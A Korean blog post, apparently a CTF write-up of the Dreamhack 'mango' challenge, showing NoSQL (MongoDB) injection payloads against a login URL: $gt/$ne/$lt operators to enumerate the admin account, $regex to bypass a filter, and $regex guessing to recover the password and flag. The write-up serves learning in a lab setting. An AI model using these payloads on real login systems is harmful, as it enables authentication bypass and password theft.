호그와트

드림핵 mango를 먹자

영웅*^%&$ 2022. 1. 22. 15:33
728x90

아래와 같이 요청을 보내면 guest 가 출력이 된다.

/login?uid[$gt]=adm&upw[$ne]=

// result: guest

guest 빼고 다른 결과를 보기 위해 $ne를 이용하여 결과 값에서 guest를 제외시킨다. 이번에는 dreamhack 이 출력된다.

/login?uid[$gt]=adm&uid[$ne]=guest&upw[$ne]=

// result: dreamhack

이번에는 $lt 를 이용하여 d 라는 문자 보다 작은 값을 출력하게끔 만든다. 그럼 dreamhack < d 는 false 이므로 dreamhack 이 출력 되지 않는다.

결과를 보면 성공적으로 admin 이 출력된다.

/login?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$ne]=

// result: admin

*코드에도 대략적으로 나와있듯이

웹 속에 포함되어있는 db를 이용해서 injection을 통해 flag를 뽑아내는 것이 이 문제의 목적이라고 할 수 있다.

위에서 나열된 대략적 문장들로 기본적인 정보는 얻을 수 있었다.

기본적인 정보를 뽑아낼 수 있으면, 문제가 되는 부분은

'upw=' 즉 패스워드라고 할 수 있다.

코드를 보면 패스워드는 주어져 있다.

그러면 도대체 뭐가 문제일까?

filter = function(data) 이하를 보면 위의 패스워드에 대해서 필터가 걸려있다는 것을 알 수 있다.

여기서 필요한 것이 바로 $regex이다.

$regex를 이용하면 guest를 필터링 하고있는 것을 우회할 수 있다.

id[$regex]=g.est&pw[$regex]=gu.st

이런 것을 이용해서 NoSQL injection 공격을 진행 할 수 있다.

만약 찾고자 하는 ID가 admin이고 비밀번호는 모를 경우

id[$eq]=admin&pw[$regex]=a

id[$eq]=admin&pw[$regex]=b

id[$eq]=admin&pw[$regex]=c

와 같이 injection 공격을 수행할 수 있다. 이를 통해서 원하는 PW를 얻어낼 수 있다. main.js 소스에서 보면 uid 와 upw 는 따로 자료형이 고정되어있지 않은 상태이다.

이 점을 십분활용하여, mongoDB 에서는 오브젝트 타입으로 인자를 넘기는 것이 가능하다!

*거의 답까지 다 온 문장들

login?uid[$ne]=guest&upw[$regex]=[D]H{~~~~~~

login?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]=[D]H{~~~~~~

/login?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]=[D]H{~~~~~~

/login?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]=[D]H{...

/login?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]={

거의 다 말했다 이제 스스로 풀어서 flag를 얻어보자

728x90

'호그와트' 카테고리의 다른 글

드림핵 xss-2  (0) 2022.01.22
드림핵 counting query  (0) 2022.01.22
드림핵 session-basic  (0) 2022.01.22
드림핵 메모리 누수 문제  (0) 2022.01.22
웹해킹 26번 문제  (0) 2022.01.22